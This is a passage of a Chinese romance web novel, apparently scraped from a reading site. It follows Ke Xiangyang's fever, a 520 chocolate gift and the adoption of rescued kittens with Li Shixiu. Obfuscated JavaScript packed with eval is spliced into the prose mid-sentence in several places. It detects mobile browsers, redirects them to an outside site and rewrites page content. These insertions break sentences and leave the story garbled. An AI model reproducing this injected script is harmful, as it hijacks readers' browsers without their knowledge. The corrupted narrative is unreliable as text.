柯向阳老实回答:“我出来跟乔乔喝下午茶了,怎么了?” 厉时修:“我回家了,没看见你,什么时候回来?” “正准备回去。”柯向阳看了眼时间,五点不到,“你今天这么早就回家了啊。” “今天是周末,本来就放假,难道我还得按照下班时间回家吗?”厉时修的声音里带上了不爽。 柯向阳习惯性地缩了缩脖子:“知道了,我现在去骑车,马上回去。” 挂断电话,回头一看,乔梦书的眼神又开始不对劲了。 “干嘛这样看我?”柯向阳觉得莫名其妙。 乔梦书:“你知道你们俩现在像什么吗?” 柯向阳:“像什么?” 乔梦书:“像结婚多年的老夫夫。” 柯向阳:“……” * 五月中旬的天气已经变得又闷又热,好在一场大雨将地面的热气冲刷掉许多,带来几分凉爽。 柯向阳的衣服已经半干,骑在电动车上迎面吹着风,打了好几个喷嚏。 将电动车停在车库里,乘坐电梯直达22层,进门就闻到一阵菜香。 正想着阿姨今天来得也挺早,到厨房一看,只有厉时修一人围着围裙在忙碌。 听到动静的厉时修回头看了他一眼,开口:“去把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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厉时修很确定自己听到了,当即眉头一拧:“我为什么要吃别人的口水?恶不恶心啊你!” “因为、有时候你好像都不介意吃我吃过的东西,明明有洁癖……”柯向阳慌不择言。 “你又不是别人!”莫名其妙被扣了顶这么恶心的帽子,厉时修简直要气死,“柯向阳!你是不是挖耳屎的时候把脑子给挖掉了??怎么能说出这么脑残的话?” 被叫全名意味着事态很严重,柯向阳来不及为那句“你又不是别人”而高兴,立刻双手合十地虔诚道歉:“对不起,我错了,我再也不敢了。” 被厉时修一顿臭骂,柯向阳的眼神都变得清澈起来,脑袋里那点旖旎的猜想也被冲得支离破碎。 “难道你会随便吃别人的口水吗?”厉时修骂完又反问一句。 柯向阳认真想了想:“那倒不会,不过如果是熟悉的人可能不那么介意。” “那不就是了?”厉时修强压下火气,还是忍不住用筷子头敲了一下柯向阳的脑壳。 “可是厉哥你不是有洁癖嘛,还是说只在这方面没那么讲究?你跟家里人也会这样吗?”柯向阳好奇地问。 厉时修想到自己家的老头和那几个兄弟,顿时觉得一阵反胃:“你要不想吃了就下去。” “我吃我吃。”柯向阳疯狂往嘴里扒饭,“太好吃了,厉哥,你的手艺这么好,都可以去当厨师了。” 厉时修侧过身嫌弃道:“嘴里有东西的时候别说话,喷得到处都是,脏死了。” “嘿嘿。”柯向阳傻笑着将掉在桌上的米粒塞回嘴里。 厉时修:“……” 10. 生病 这顿晚餐,厉时修不仅展示了高超的厨艺,还根据用餐人数精准地控制了每道菜的份量。 虽然他因为中间的小插曲导致食欲下降,但柯向阳很给面子地多吃了一碗饭,将配菜吃得干干净净,剩下一点骨头汤他也舍不得倒,想着放冰箱里晚上说不定可以煮宵夜吃。 饭后,柯向阳主动包揽了洗碗的工作,其实就是启动一下洗碗机的事。 厉时修难得亲自下厨想给柯向阳露一手,结果媚眼抛给瞎子看,此刻臭着一张脸坐在客厅。 柯向阳讨好地端来一杯果汁:“厉哥,别生气了,我保证不会有下次了。” 厉时修没好气道:“真不知道你脑子里都装了些什么恶心的东西。” 柯向阳实在没有勇气说出那句“我脑子里装的都是你”,只能装做没听见,掏出手机:“给你看我今天捡到的小奶猫,好可爱的。” 厉时修接过手机,一张一张翻看起来:“你在哪里捡到的?” “路边的绿化带里,下午我不是跟乔乔去甜品店嘛,正好下暴雨了,我们在店里等雨停,乔乔看见马路对面的绿化带里好像有猫,我们就找老板借了把伞过去看了。”柯向阳详细地讲述了一遍经过。 厉时修:“然后你们就把这窝猫捡走了?” “对啊,我们看见母猫带着小猫躲在绿化带里淋雨,太可怜了,就把它们送去宠物诊所了。”柯向阳想起那个场景还觉得揪心,“还好去得及时,医生说再晚点这两只小猫就保不住了。” “到底有几只猫?”厉时修跟随柯向阳的手指看去,照片里的小猫全部挤成一团,根本分辨不出来谁是谁。 “五只小猫,加上母猫一共六只,母猫特别乖,抱它摸它都很配合,医生说母猫刚生完小猫还这么亲人,性格非常好了。”柯向阳拿回手机,“就是太瘦了,可能怀孕的时候一直饿着肚子,唉。” “小猫现在还在诊所?” “对啊。”柯向阳见厉时修好像对小猫挺感兴趣,趁机问道:“厉哥,你想不想养宠物啊?” 面对柯向阳那张写满期待的脸,厉时修勾了勾嘴角:“家里这么空,养几只宠物也不是不可以。” 原本不抱希望的柯向阳立刻兴致勃勃地推销起来:“那你想养猫吗?小猫很爱干净的,上厕所会用猫砂,会自己舔毛清洁,不用经常洗澡,不用出门遛弯,特别省事,医生说了,从小奶猫开始养大会更亲人,而且小奶猫很好玩的。” 眼见柯向阳的嘴巴一张一合说个不停,厉时修有些心不在焉地问了句:“是吗?” “是呀,我做了很久的功课了,要不是现在不方便,我就自己养了。”在他看来,厉时修绝对是最好的领养者,小猫跟着他能享一辈子荣华富贵。 厉时修挑眉:“你怎么不方便?” “我这不是连个住处都没有嘛,得等我找到房子,才能考虑养宠物的事,哪有把宠物养在别人家的道理?”说到这,柯向阳还不忘解释一句:“厉哥,我没有说你是别人的意思哦。” 厉时修面色微变,垂下眼帘思索了会:“可是要一口气养那么多只,我又没时间照顾。” 柯向阳忙道:“乔乔说他可以养两只,这样的话只剩四只。” 厉时修:“四只也不少。” “那你想养几只都可以,剩下的医生会帮忙找领养,那个医生人还挺好的呢。”柯向阳虽觉遗憾,很快又打起精神,“不然我明天带你去诊所看看吧,你可以看看喜欢哪只。” 厉时修:“我的意思是,如果你愿意留在这里帮忙照顾它们,就没问题了。” “可以啊。”柯向阳爽快地点点头,他想着小奶猫确实需要照顾,等它们长大了自己便功成身退,现在正好过过养猫的瘾。 见柯向阳答应得那么干脆,厉时修的眉头跟着舒展开来:“你问问医生什么时候可以接回来,很多东西要提前准备的吧?” “好的,我跟乔乔也说一声。”柯向阳正打着字,突然鼻子一痒,打了个喷嚏。 厉时修:“怎么回事?着凉了?” “没事,就是捡猫的时候淋到点雨。”柯向阳抽了张纸擦擦鼻子,又打了个喷嚏。 厉时修不高兴道:“那你回来不先洗澡换衣服?” “回来的时候衣服都干了,我就忘记了,现在马上去。”柯向阳哒哒哒地跑去洗澡,洗完出来讲话已经带上了点鼻音。 “你这是感冒了吧?”厉时修皱起眉头。 “没有吧,只是打喷嚏,我没觉得不舒服。”柯向阳吸了吸鼻子,有点堵堵的,他吃薄荷糖的时候也会一直打喷嚏,根本没放在心上。 厉时修却不这么认为,起身拿来了家用医疗箱,取出温度计给他量体温。 37度,没有发烧。 “你看,我都说没事了,睡一觉就好了。”柯向阳觉得自己只是看着体虚,实际上皮实得很,成年后就很少生病了,更没去过医院。 “自己不注意点,等真的生病了有你好受的。”厉时修倒了杯热水逼他喝光。 此刻柯向阳还沉浸在可以帮厉时修养猫的喜悦里,一边跟乔梦书聊天,一边浏览各种猫咪相关的帖子。 乔梦书看了一晚上攻略和测评,给他推荐了一些靠谱的牌子:【这款猫粮比较贵,既然是霸王龙要领养,你直接让他买呗。】 柯向阳复制链接到购物软件加购:【没事,我在他家住了这么久都没交房租,买点东西而已。】 乔梦书:【那跟你养有什么区别?】 柯向阳:【等我搬走就有区别了。】 乔梦书又发来两条购物链接,是猫条和冻干:【这两款我看评价都不错,可以先买一点试试。】 柯向阳:【我在看鱼油和维生素片,等会给你发。】 柯向阳正在看商品评价区,乔梦书的消息又来了:【我刚刚问了医生,医生说不用着急买这么多东西,小猫太小了,只能喝奶,可以买点羊奶粉,猫粮和零食给猫妈妈准备一些就好了。】 柯向阳也意识到他们太兴奋了,看见什么都想买,目前他们买的东西只有猫妈妈用得上,小奶猫连牙都没长出来呢。 医生还建议他们准备个猫屋,让小猫有自己的独立空间,出门的时候怕小猫在家乱跑捣乱也可以暂时关进猫屋里。 想象着未来和小猫一起生活的日子,柯向阳脸上不知不觉带上一抹憨笑。 “猫屋我买好了,你不用看了。”厉时修开口打断了他的幻想。 “你怎么知道要买猫屋?” “你不是说乔梦书也要养猫吗?我在群里问了一下,其他东西你也别操心了,我会一起准备。” 柯向阳这才想起他们建的那个游戏群,此刻沉寂许久的群聊页面多了几条关于养猫的聊天记录。 原来游戏群还能这么用。 虽然厉时修让他别操心,柯向阳还是把购物车里的东西全结算了,七七八八加在一起花了一千多,换算成房租和伙食费,他简直赚大发了。 兴奋劲过去的柯向阳开始觉得眼皮有些热热的,只当是犯困,跟厉时修道了声“晚安”,回房睡觉。 * 凌晨,柯向阳被热醒。 房间里明明开着空调,被窝却像个蒸笼,一掀开,一股热气扑面而来。 口干舌燥的柯向阳起身下床,想去接杯水喝。身体摇摇晃晃,眼睛也睁不太开,还以为是自己没睡醒。 走到客厅接好水,不知怎地双腿一软,整个人跌坐在地,杯子里的水也跟着倒在身上,凉得他“哎哟”一声,随后又觉得有点舒服。 被吵醒的厉时修从卧室出来,一开灯就看见坐在地上的柯向阳,吓了一跳:“怎么摔倒了?摔到哪了?我看看。” “我没事,就是腿有点软,你扶我一把。”柯向阳感觉浑身都使不上劲,只能朝厉时修求助。 厉时修的手才搭上柯向阳肩膀,便感觉到一阵不同寻常的温度:“你的身体好烫,不会是发烧了吧?” “嗯?”柯向阳的脑子还处在迷糊状态,“什么发烧?” 厉时修一把将他打横抱起,放回床上,又去拿了体温计来。 这次柯向阳是真发烧了,烧到了39度多。 湿掉的睡衣被褪去,柯向阳全身上下只有一条内裤,整个人包裹在被子里乖乖等着厉时修给自己换衣服。 跟柯向阳身体的高温比起来,厉时修的皮肤显得十分冰凉,柯向阳无意识地将身体贴上去蹭了蹭,贪婪地汲取着令人舒适的凉意。 厉时修扶着他光裸又滚烫的后背,艰难地为他穿上衣服,想要联系家庭医生,却发现手机还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171831|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的卧室。 “厉哥,想……喝水。”柯向阳感觉自己的喉咙干得几乎要冒烟了,也不知道有没有发出声音。 “等着,我去给你倒。”厉时修顺便去拿了手机,一边打电话,一边给柯向阳喂水。 柯向阳听着厉时修讲电话,那些字眼变成一只只小蜜蜂钻进他的耳朵,在他脑子里嗡嗡作响。 “小柯,别睡,先把药吃了。”厉时修的声音难得如此轻柔,还带着点哄人的意味。 柯向阳感觉嘴唇上抵着什么东西,听话地张开嘴。 “好乖。” 脑袋昏昏沉沉,眼皮也越来越重,额头上传来湿湿凉凉的触感,令他惬意地呼出一口气。 他的意识逐渐模糊,像是脱离了身体,飞到过去:““奶奶……”” 记忆里,小小的自己躺在老家的木板床上,床头一个塑料印花的洗脸盆里盛着干净清凉的井水,老人布满粗茧的双手一次次将毛巾用水浸透,拧干,敷在他滚烫的额头上。 “阳阳乖,奶奶在这呢,睡吧,睡醒了就不难受了。” 柯向阳闭着眼睛呢喃起来,“阳阳会乖,别走……” 厉时修握住柯向阳伸出来的手,有意无意地用嘴角轻轻蹭过手背:“不走,我在。” 令人心安的声音裹挟着他的记忆去往七年前的冬天。 灵堂上的白烛闪烁着细碎的光晕,纸钱的灰烬打着旋儿飘上供桌,只有老人慈祥的笑容被永远定格在黑白照片上不再变化。 灵柩前跪着一道瘦弱的身影,一动不动,直到身后传来脚步声。 厉时修恭恭敬敬地走完祭拜的流程,在柯向阳身边跪下,摸摸他的额头:“小柯。” “你怎么来了?”柯向阳哑着嗓子开口。 “来送奶奶最后一程。”厉时修将自己的围巾取下,给柯向阳围上,“天气这么冷,你也不知道多穿点。” 早就哭到红肿的双眼再次泛红,柯向阳垂着头,任由眼泪一滴一滴砸落,哽咽道:“厉哥,奶奶走了,我没有亲人了。” 厉时修伸手抱住他:“还有我。” 柯向阳趴在厉时修肩头,哭得一把鼻涕一把泪。 那之后,厉时修对他而言,意义就变得不一样了。 * 柯向阳感觉自己做了好久的梦,可是又像没睡着一样,总能感觉到厉时修将他摆弄来摆弄去地擦汗。 再醒来时,天边已经微微泛白。 柯向阳睁开眼,茫然地看向床头那张满是担忧的脸:“……厉哥?” “梦见什么了?哭了一晚上。”厉时修用毛巾擦了擦他的脸。 “梦见奶奶了。”柯向阳有些懵懵的。 “感觉怎么样?好点了吗?” “嗯,没那么晕了。” 厉时修拿起床头柜上的温度计,在柯向阳额头停留了会,看到显示屏上的37.5℃,松了口气:“肚子饿了吧,我去给你弄点吃的,想吃什么?” 柯向阳想到以往生病时奶奶总是变着花样给他做吃的,忍不住咽了咽口水:“想吃榨菜肉丝面。” “等着。” 身体轻松了许多,柯向阳便起来刷了个牙,又躺回床上等。 没一会,厉时修进来在床上架了个小桌子,端来一碗刚出锅的榨菜肉丝面。 清澈的汤底里沉着根根分明的面条,咸香爽口的榨菜和嫩滑的肉丝一起提前翻炒过,泛着微微的焦黄,翠绿葱花带着细碎的油花浮在汤面上,还撒了一层白芝麻。 柯向阳喝了一口汤,记忆中的味道被完美呈现,一阵酸意涌上鼻腔:“你怎么会做的?” “你以为我跟着奶奶去厨房都在偷吃吗?”厉时修轻飘飘地一句话带过,没有告诉他自己私下试验过多少次才找准每一道食材的用量和火候,光是找同一个牌子的榨菜就耗费许多心力。 柯向阳当然知道没那么简单,他吸着鼻子,一边吃一边问:“厉哥,你为什么对我这么好?” “这种时候,就别再问些白痴问题了。”厉时修揉了揉他的头发,“赶紧吃。” “太好吃了,呜呜……厉哥,以后你要是生病了,我也会这么照顾你的。”柯向阳睁着泪汪汪的双眼表决心。 “……”厉时修深吸一口气,“你能不能别咒我?” 11. 巧克力 厉时修守了柯向阳一夜,此刻两个眼睛下浮现淡淡的乌青,下巴的胡茬也冒了出来。 他收拾好碗筷,把床上桌撤掉,抽空去洗漱了一下,然后给柯向阳端来一杯感冒冲剂:“还有点烫,小心点。” 柯向阳小口小口地喝着冲剂,朝他问道:“厉哥,你吃了吗?” 厉时修点头:“吃了。” 虽然刮去了胡茬,眼睛里因睡眠不足而产生的红血丝还很明显,柯向阳有些心疼地看着他:“厉哥,我没事了,你快去休息吧。” “什么没事,才刚退烧,不注意又会复烧起来的。”厉时修不放心地摸摸他的额头,时不时就要给他测一下体温。 柯向阳觉得厉时修把自己想得太过脆弱,但心里又因为他的关心而美得冒泡。 “喝完继续睡。”厉时修接过见底的杯子,出去接了杯温水进来。 柯向阳知道自己拗不过厉时修,便拍拍身侧的空位:“那你上来一起睡,我有什么情况你也能及时发现。” 厉时修眸色一暗:“好。” “不过不要靠太近,我怕传染给你。”柯向阳往边上挪了点,好在床够大,同时睡下四五个人都绰绰有余,这会两人一起平躺着,中间隔着半米宽的距离,空间依旧充裕。 过去他们也常常躺在一张床上,那时柯向阳是寄宿生,一到周末就要回家帮奶奶干活,厉时修嘴上嫌弃他家的老房子连空调都没有,没事还总爱跟着柯向阳回去。 不大的双人床上躺两个高中男生略显拥挤,常常一觉睡醒发现两人肉贴着肉,腿叠着腿的,互相取笑嫌弃一番就过去了。 如今再并肩躺在一处,心境却大不相同。 柯向阳感觉自己的心跳不受控制地加快,想要调整呼吸不要显得太过急促,结果憋得满脸通红。 “脸怎么这么红?又烧起来了?”厉时修伸手覆上他的额头。 “可能是刚喝了冲剂有点热。”柯向阳拉了拉被子想要盖住自己的脸。 “热还把脸蒙着,你是不是傻?”厉时修起身一把扯下被子,仔仔细细在他脖子周围掖了一圈。 “不是说了让你睡会吗?你还睁着眼睛。”柯向阳小声控诉。 厉时修重新躺回去:“好了,现在闭眼,睡觉。” 柯向阳乖乖闭上双眼,鼻尖传来一股青柠混合西柚的清爽气味,是厉时修洗发水的味道,困意登时席卷而来。 听到身边的呼吸声逐渐平稳规律,厉时修才再次转过头,目光一寸寸从柯向阳的眉眼描摹到下巴。 这么多年过去,除了身高,长相和脾气一点没变,不知道性向是不是也永远不会变。 手指悬在那两片有些苍白的嘴唇上,迟迟不敢落下。 * 因为这次生病,柯向阳被厉时修勒令在家躺了两天,跟教练约好的时间便往后推了一天。 第二次上路没有那么紧张,柯向阳大着胆子提了点速,比上一次更快地刷完了一百多公里的里程数。 教练盯着他预约了科三的考试,等收到确认短信再安排练车。 离拿驾照又近一步,柯向阳心情愉悦地骑着小电驴。 经过主街道时,发现很多商店在做促销活动,想起今天是5月20号。 望着街上一对对甜蜜的大学生情侣,从没谈过恋爱的柯向阳眼中不由流出一丝羡慕,什么时候他才能跟厉时修一起过这种节日呢? 大概这辈子都没机会了。 想到这里,柯向阳又焉了,别说过节,今天两人甚至还没见过面。 晚上厉时修要加班,因为前两天为了照顾他积攒下许多工作,不能再拖了。 柯向阳心怀歉意,想像上次那样去厉时修公司找他,给他带点吃的,可厉时修说下午四点会有工人上门安装猫屋,让他回去盯着。 今天出门比较早,现在才三点多,柯向阳骑车兜了一圈,瞥见一家巧克力专卖店。 店门口进进出出的大多是小女生,偶尔有男生露脸,也都是被女朋友拽着进店的。 他犹豫片刻,把车停在路边。 推开店门的瞬间,风铃清脆地响了一声,浓郁的可可香气包裹着香草奶油的甜腻扑面而来,仿佛进入一个迷你版的巧克力工厂。 暖黄的灯光下,展柜里错落有致地陈列着各种礼盒,覆满金箔的松露巧克力,裹着坚果碎的酒心巧克力,贝壳造型的白色巧克力……一颗颗精致如艺术品。 “您好,欢迎光临,请问有什么可以为您服务的吗?”身穿制服的服务员温柔地朝柯向阳露出一个微笑。 柯向阳有些局促:“你好,我想买点巧克力送朋友,他不喜欢吃太甜的,有推荐的口味吗?” “那推荐您试试这边的几款生巧,都是甜度比较低的,还有这款薄荷巧克力,是我们店的五月新品,评价很不错的。”服务员耐心又不失热情地建议柯向阳每款都试吃一下。 柯向阳不太好意思吃太多,只尝了经典款生巧,入口即化,舌尖上明显的苦涩夹杂着丝丝缕缕的甘甜:“好吃。” 服务员见状,趁热打铁:“今天520有活动哦,买八块以上享受八五折优惠,还可以免费进行礼盒包装。” “那就刚刚你说的那几款,各来两块。”服务员一共推荐了五款,正好是十块。 “好的,请您稍等。”服务员一边手脚麻利地打包,一边微笑提醒:“生巧买回去要及时食用,如果暂时不想食用,记得放在冰箱冷藏保存哦,不然很快就会化掉的。” “好,谢谢啊。”柯向阳看着那个明晃晃的爱心礼盒,耳尖泛红。 “打完折一共是297.5元,请问您要怎么支付?” “微信扫码。”柯向阳打开支付码。 “好的,我们店现在还有充值活动,满一千送三百,正好可以抵掉这次的费用,您看要不要充一张呢?”服务员满脸笑意,尽职地问道。 柯向阳面色一僵,他最怕这种推销了,好像一旦拒绝,对方脸上的笑意就会马上消失一样,可是不拒绝,他的钱包又要不高兴了。 每次都像被架在道德和钱包的天平上,不敢轻易倾斜向任何一端。 服务员看出他的为难,语气轻快道:“没关系,您免费注册一下我们店的会员也可以随时自行充值,一样能享受活动优惠,还能积累积分换购礼品。” “好、好的,那我先注册会员。”柯向阳根据操作提示注册会员,付完款账号上多了298的积分,再次向服务员道了谢,拎上袋子快步离去。 * 到家后,柯向阳将整个礼盒放进冰箱,有些后悔没让服务员换个盒子,那么大一颗爱心,是不是过于明显了啊? 没等他纠结完,工人就来了。 前天他们上门测量过一次,定好了位置和尺寸,今天是直接带着材料来安装的。 一共三个工人,身穿蓝色制服,一人在客厅的地板上铺防水布,另外两人一趟一趟往里搬材料。 柯向阳给他们倒了水,站在边上好奇地看他们忙碌。 一块块表面光滑做工精细的实木板材很快组装成一个大框架,安装上加厚的防爆玻璃,整个猫屋便初具雏形。 顶层做了一个透气格栅的设计,侧面也有许多气孔,用来保持通风透气。 内部安置了好几个猫窝、猫爬架和猫抓柱,还有很大空间可以自由分配。 柯向阳像老太太进城一样看什么都新鲜,安装师傅一边干活一边给他讲解,听得他眼睛一亮又一亮。 内心直呼:当厉时修的猫也太幸福了吧! 安装好猫屋,几位工人顺便把垃圾收拾干净带走,柯向阳当即拍了张照片发给乔梦书和厉时修,两人同时发来回复。 厉时修:【不错。】 乔梦书:【卧槽,快比我房间大了!】 随后厉时修又发来一条消息:【晚上有个饭局,不回去吃了,不用等我。】 柯向阳有些失望,回了个“好”的表情包。 闲着没事的柯向阳开始拆这两天收到的快递,全是他和厉时修买的猫咪用品。 除了零食和玩具,还有电动猫砂盆、自动饮水机、自动喂粮器、监控器等一大堆电子产品。 柯向阳拆箱拆满头大汗,客厅很快多了一堆空纸箱,把刚进门的阿姨吓一跳:“哎哟,你们买了这么多东西啊?要不要我帮忙啊?” “不用了阿姨,厉哥今天不回来吃饭,晚饭可以少做点。” “好哦,厉先生真是忙得很,三天两头地加班。”阿姨感慨道。 “是啊。”柯向阳不禁觉得赧然,这不是跟他形成鲜明的对比了吗? “小柯,先吃一点橙子和梨,厉先生特地交代要让你吃的。”阿姨把切好的水果端到茶几上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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柯向阳理所当然道:“我总不能开车来吧,你又没喝多,可以坐电动车呀。” 厉时修:“你不能打个车吗?” 柯向阳:“你不是不喜欢出租车嘛。” 厉时修:“不能打专车吗?” 柯向阳递过去一个头盔,催促道:“浪费那钱干嘛?快上来,我带你兜兜风醒醒酒。” 厉时修身穿高级定制西服,头上戴着个廉价的塑料头盔,高大的身体憋屈地缩在电动车后座上,整个人散发出一股巨大的怨气。 柯向阳心里还挺美,两人一起骑车,也可以算作一种约会了:“我就说这辆车不是破烂,你看,这不派上用场了吗?” 厉时修心里想的却是迟早要把它卖了。 * 回到家,柯向阳献宝似的端出巧克力:“我看这家店生意很好,就买了一点,你尝尝好不好吃。” 厉时修吃了一块,点点头:“不错。” 520这天,和喜欢的人一起吃巧克力,怎么不算过节呢? 柯向阳心里美滋滋的,依次尝了抹茶味、朗姆酒味和红茶味的生巧,感觉还是经典款最好吃。 指尖的温度足以让生巧融化,秉着不能浪费的理念,柯向阳伸出舌头将食指和拇指上的残留舔得干干净净。 厉时修深吸一口气,压下心头躁动,转身取来刚刚换鞋时放在玄关处的袋子。 柯向阳看到从袋子里拿出的两个小礼盒,正是上次那家法式餐厅的巧克力舒芙蕾,不由笑道:“我还以为这是你打包的剩菜呢。” “我打包剩菜干什么?”厉时修眉头紧皱。 “打包回来……给我……吃?”在厉时修的目光凌迟下,柯向阳越说越小声。 “你想吃我直接带去你店里吃不行吗?为什么要打包剩菜啊?都是别人吃过的东西,脏死了!”厉时修越说越来气,“不是,我给你打包过剩菜吗?你到底是哪里来的依据?” “我随口说的,你别生气嘛。”柯向阳的头越垂越低,恨不得化身鸵鸟把脑袋扎进地板。 厉时修再次深吸一口气,这回单纯是被气的,往嘴里塞了一块薄荷巧克力,恶狠狠地嚼着。 柯向阳将舒芙蕾的包装盒打开,用勺子挖下一块,递给厉时修:“第一口给你,别气啦。” 厉时修张嘴含住,气消了一半。 见柯向阳毫无芥蒂地继续用着同一把勺子,另一半气也跟着消了。 12. 小乖 傍晚,下班高峰期。 写字楼里涌出的人流化作黑色浪潮,迅速淹没公交站台与地铁站口。 主干道上密密麻麻挤满了龟速前行的汽车,尖锐的喇叭声此起彼伏,听得人心情烦躁。 厉时修看向前方望不到头的长队,忍不住皱起眉头。 后座坐着柯向阳和刚接上的乔梦书。 柯向阳没怎么从这边走过,好奇道:“这条路一直这么堵吗?” 乔梦书天天在这上下班,平时都是坐地铁,也没遭遇过这情形:“三十分钟都没挪几米,不像是正常堵车,估计是前方发生事故了。” 再看看边上的非机动车道上,虽然车也多,但至少一直在通行。 柯向阳忍不住小声吐槽:“我就说还是电动车方便吧,他老是叫我把车卖掉。” 乔梦书伸出一只手挡住嘴巴:“他们这些有钱人就是瞧不起我们穷人的生活方式。” 听到来着身后的议论,厉时修头上蹦出两个井号,要不是为了来接乔梦书,根本不需要经过这条路。 事情要追溯到两个小时前。 柯向阳跟乔梦书约好今天一起去接小猫,在家等他下班。 突然想起厉时修才是小猫的主人,于是又问了他要不要一起去。 厉时修表示可以,但拒绝了柯向阳骑车带他的方案,于是就出现了上面那一幕。 柯向阳又说:“要是骑车去,这会已经到家了。” 一只不到五斤的母猫加上五只才出生一个多星期的小猫,放在他们买的大号猫包里绰绰有余,骑着车就带回去了。 乔梦书:“可不是嘛。” 驾驶座上的厉时修忍不住轻笑一声,气的。 听到动静的两人顿时噤声。 乔梦书很识相地找补了一句:“不过,难得有机会坐坐豪车,堵车也是很值得的。” 坐豪车对柯向阳来说可算不上难得,他想来想去,最后来了一句:“都是生活嘛。” 厉时修:“……” 又过了十分钟,大概是交通事故处理完了,车队开始缓缓前进。 等他们到达那家宠物诊所,已经快七点了。 短短三天时间,小猫看着就大了一圈,身上的毛也没那么稀疏了,但还站不起来,只能窝在妈妈的怀里。 看着几只小猫崽迷迷瞪瞪地凑在妈妈肚子前找奶吃,把柯向阳和乔梦书萌得一个劲地拍视频。 母猫的状态看起来也不错,比刚捡到时好多了。 小猫崽喝完奶,母猫给它们一只只舔了屁股。 “为什么刚吃完就舔屁股?不是只有拉完屎需要清理的时候才舔吗?”柯向阳好奇地问,身边的厉时修正因为他说的话面露嫌弃。 医生解释道:“小猫的排便机能还没有发育好,需要母猫舔□□来刺激排便,再长大点就可以训练它们用猫砂了。” “哦哦。”柯向阳和乔梦书一起恍然大悟般点点头。 猫妈妈是只标准的三花,长得很秀气,就是太瘦了,如果再养胖点,颜值一定会很高。 也不知道它是不是记住了自己的救命恩人,见柯向阳朝它伸出手,便歪着脑袋去蹭他的掌心,发出一阵呼噜声。 柯向阳:“好乖哦。” 医生说:“给它起个名字吧,我这边建个档。” 乔梦书已经决定好要领养奶猫里的两只小三花,因为只有这两只是妹妹,把公母分开养可以省掉很多麻烦,至于猫妈妈过段时间就可以送来绝育,所以不用担心发情的问题。 剩下的三只小猫分别是奶牛,灰狸和橘猫,花色各不相同,跟猫妈妈一起全归厉时修。 两人自然地将目光投向厉时修,示意他来。 厉时修沉默了会,有些不自在地说:“叫小乖吧。” 乔梦书:“……” “很适合呢。”柯向阳倒挺喜欢,立刻转头对小乖说:“以后你就叫小乖了,喜欢这个名字吗?” 小乖“喵”地叫了一声,仿佛在说“喜欢”。 “小乖好聪明,还会应人。”柯向阳兴奋地朝厉时修说道。 医生帮他们把一窝猫全部转移到猫包里,又交代了些注意事项。 小猫还太小,需要在妈妈身边待一段时间,所以乔梦书的两只猫也要跟着去厉时修那里。 * 乔梦书第一次来厉时修家,从进小区开始就“哇”声不断,他今天算是把豪车豪宅一起感受个遍了。 亲眼看见那个超大猫别墅,又忍不住感叹:“我是不是剥夺了两只小猫享福的猫生啊?要不还是都给你们养吧?” “跟着你也不算吃苦啊,还是你发现的它们呢,说明跟你有缘。”柯向阳安慰道。 几人饭都顾不上吃,先去将猫咪安置好。 再次进入一个陌生的环境,小乖看起来有些紧张,带着小猫崽缩在猫窝里,绷着身子。 柯向阳端着猫碗,里面是阿姨煮的鸡胸肉,全部细细地撕成条,柯向阳用手指捏着一条肉丝,喂到小乖嘴边:“你尝尝,很好吃的。” 肉食动物的本能令小乖根本无法抗拒送到嘴边的食物,舔了两口就急切地咬住吃掉。 看到小乖起身凑到猫碗里吃肉,柯向阳笑着摸摸它的头:“以后这里就是你们的家了。” 吃完鸡胸肉的小乖慢慢走出猫窝,在猫屋里嗅来嗅去,找到饮水机的位置喝了点水,又好奇地去看猫砂盆。 小猫崽不会走路,睡醒了的眼睛半睁半闭,伸着脖子奶声奶气地叫唤起来,到处找奶吃。 听到孩子的召唤,小乖尽职地回到它们身边喂奶。 柯向阳记得医生说过小乖奶水不足,又和乔梦书一起到厨房去给它们泡羊奶粉。 厉时修对上小乖的目光,想要离开的脚步不由顿住,板着张脸问:“干嘛?” 小乖歪了歪头,轻叫一声:“喵。” 厉时修回头看了眼厨房,见柯向阳和乔梦书都背对着自己,才不太情愿地伸手摸了一下小乖的头。 小乖闭上眼睛,从喉咙里发出“呼噜呼噜”的声响,厉时修便曲起手指在它头顶挠了挠。 感觉手里的小脑袋开始转来转去,厉时修急忙警告了一句:“不准舔我,你的嘴巴刚舔过屁股。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171833|196840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 呼噜声更响了。 “你倒是会享受。”厉时修没发现自己的嘴角正在向上勾起。 “这父女俩感情升温挺快啊。”乔梦书的声音突然从背后传来,厉时修的手不着痕迹地抖了一下。 “什么父女,乱七八糟的。”他抽回手,又恢复一贯的冷酷表情。 “你收养了小乖,就是它的爸爸了呀。”柯向阳觉得乔梦书说得没错,他看多了萌宠视频,宠物的主人都是这么自称的,把宠物当成自己的亲生孩子。 